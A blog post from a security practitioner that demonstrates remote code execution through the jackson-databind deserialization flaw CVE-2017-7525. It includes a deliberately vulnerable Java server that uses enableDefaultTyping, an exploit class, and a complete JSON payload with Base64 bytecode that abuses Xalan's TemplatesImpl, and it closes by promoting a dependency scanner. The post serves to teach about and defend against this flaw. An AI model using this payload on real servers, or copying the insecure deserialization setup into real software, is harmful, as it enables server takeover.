DEV Community

Bruno Bossola
Bruno Bossola

Posted on

Execute Java code on a remote server using JSON

Abstract.

How difficult is to exploit a vulnerability in a common Java library in order to remotely execute Java code on a remote server and successfully taking control over it? Not much, really. In this article, we will demonstrate how to do that using CVE-2017-7525, a well-known vulnerability in jackson-databind, a widely used library to serialize and deserialize JSON, also part of the spring-boot stack. All the code used here is available on GitHub.

The sample code.

As we all know, the task of serializing and deserializing JSON messages is a very common task, especially in modern microservices REST-based applications: almost every time an API is called, a JSON message is sent to the server, to be transformed in a Java object. Because of a stream of deserialization vulnerabilities in jackson-databind it's now possible to write simple exploits in order to get access to unpatched servers when polymorphic type handling is enabled.

In order to clearly explain the concepts, we are introducing here a simple server that handles products with two REST APIs, one to get the list of the products and one to add a new product. Please note that this is just a sample: we just want to provide you with a simple and understandable piece of code, and by no means it can be classified (we hope!) as production code.

A sample of our Product class, it holds some basic product information:

public class Product {

    private int id;
    private String name;
    private String description;
    private Object data; 

    protected Product() {
    }

    [...]

Our ProductDatabase class, just a glorified HashMap

public class ProductsDatabase {

  private Map<String, Product> products = new HashMap<>();
  private AtomicInteger idGenerator = new AtomicInteger(0);

  public ProductsDatabase() {
     add(new Product(0,"apple", "Real apple from Italy", randomData()));
     add(new Product(0,"orange", "Real orange from Italy", randomData()));
     add(new Product(0,"kiwi", "Real kiwi from Italy", randomData()));
  }

  public Collection list() {
    return Collections.unmodifiableCollection(products.values());
  }

  public Product add(Product newProduct) {
    Integer newId = idGenerator.incrementAndGet();
    Product product = newProduct.duplicate(newId);
    products.put(newId.toString(), product);
    return product;
  }

  [...]
}

Our simple server, written with SparkJava:

public class Main {

  private static ProductsDatabase products = new ProductsDatabase();
  private static ObjectMapper deserializer = new ObjectMapper().enableDefaultTyping();
  private static ObjectMapper serializer = new ObjectMapper();

  public static void main(String[] args) {

    port(8888);

    // GET list all products
    get("/products", (request, response) -> {
      Collection res = products.list();
      return serializer.writeValueAsString(res);
    });

    // POST add new product
    post("/products", (request, response) -> {
      Product received = deserializer.readValue(request.body(), Product.class);
      products.add(received);
      response.status(201);
    });
  }
  [...]
}

You can add a product to the database with a simple curl call with a JSON body containing the new product data:

curl -i -X POST -d '{"name":"melon","description":"Real melon from Italy", "data":["java.util.HashMap",{"cost":2,"color":"yellow"}]}' http://localhost:8888/products

The exploit.

In order to exploit the vulnerability, we need to have a vector. On this occasion we decided to use Apache Xalan, a common XSLT library also included in the JDK (which, until version 8u45, is possible to use as the vector, in the same way Xalan is used here). Please note that there are a lot of other options available as attack vectors, but for the sake of simplicity, we will focus here on a very specific one.

We will use a particular class from Xalan which is capable to deserialize an encoded class file from an XML, and dynamically create an instance of such class: we will craft a JSON message that will contain the encoded class of our exploit class here:

public class Exploit extends org.apache.xalan.xsltc.runtime.AbstractTranslet {

  public Exploit() throws Exception {
    System.err.println("Your server has been compromised!");
  }

  @Override
  public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  }

  @Override
  public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  }
}

We just need to compile this source code in a .class file, encoded it in Base64 and prepare our evil JSON message:

{
  "name": "fakeapple",
  "description": "Fake fruit from UK",
  "data": ["org.apache.xalan.xsltc.trax.TemplatesImpl",
  {
    "transletBytecodes" : [ "yv66vgAAADQALgcAAgEAB0V4cGxvaXQHAAQBAC9vcmcvYXBhY2hlL3hhbGFuL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYJAA4AEAcADwEAEGphdmEvbGFuZy9TeXN0ZW0MABEAEgEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwgAFAEAIVlvdXIgc2VydmVyIGhhcyBiZWVuIGNvbXByb21pc2VkIQoAFgAYBwAXAQATamF2YS9pby9QcmludFN0cmVhbQwAGQAaAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMRXhwbG9pdDsBAAl0cmFuc2Zvcm0BAFAoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO1tMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAIgEAKG9yZy9hcGFjaGUveGFsYW4veHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEAHExvcmcvYXBhY2hlL3hhbGFuL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAMVtMb3JnL2FwYWNoZS94bWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHMoTG9yZy9hcGFjaGUveGFsYW4veHNsdGMvRE9NO0xvcmcvYXBhY2hlL3htbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xvcmcvYXBhY2hlL3htbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBACRMb3JnL2FwYWNoZS94bWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQAwTG9yZy9hcGFjaGUveG1sL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEV4cGxvaXQuamF2YQAhAAEAAwAAAAAAAwABAAUABgACAAcAAAAEAAEACAAKAAAAOwACAAEAAAANKrcAC7IADRITtgAVsQAAAAIAGwAAAAoAAgAAAAgABAAJABwAAAAMAAEAAAANAB0AHgAAAAEAHwAgAAIABwAAAAQAAQAhAAoAAAA/AAAAAwAAAAGxAAAAAgAbAAAABgABAAAADQAcAAAAIAADAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACUAJgACAAEAHwAnAAIABwAAAAQAAQAhAAoAAABJAAAABAAAAAGxAAAAAgAbAAAABgABAAAAEgAcAAAAKgAEAAAAAQAdAB4AAAAAAAEAIwAkAAEAAAABACgAKQACAAAAAQAqACsAAwABACwAAAACAC0=" ],
    "transletName": "oops!",
    "outputProperties": {}
   }
 }

After sending the message to the server as a normal "add product" request, the encoded class will be instantiated by the Xalan TemplatesImpl class in order for it to populate the value of the outputProperties field: as the constructor code is executed, the evil code is executed as well and the server compromised. Yes, you might have exceptions in the server, but it's too late.

Conclusions

This is just one example among hundreds of exploits currently possible using public vulnerabilities on various open source libraries and for that reason, it's extremely important that you add to your build pipeline a scanner capable to detect and block the build if such situation is detected. We would kindly invite you to use our simple command line client available at meterian.io and avoid future nasty surprises. You do not want to be the next Equifax.

You can reach me at meterian.io!

Disclaimer: please note that all these information are publicly available on the internet. This is just a summary post from a cybersecurity practitioner and nothing else. The code provided is for research purposes only. This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.

Top comments (0)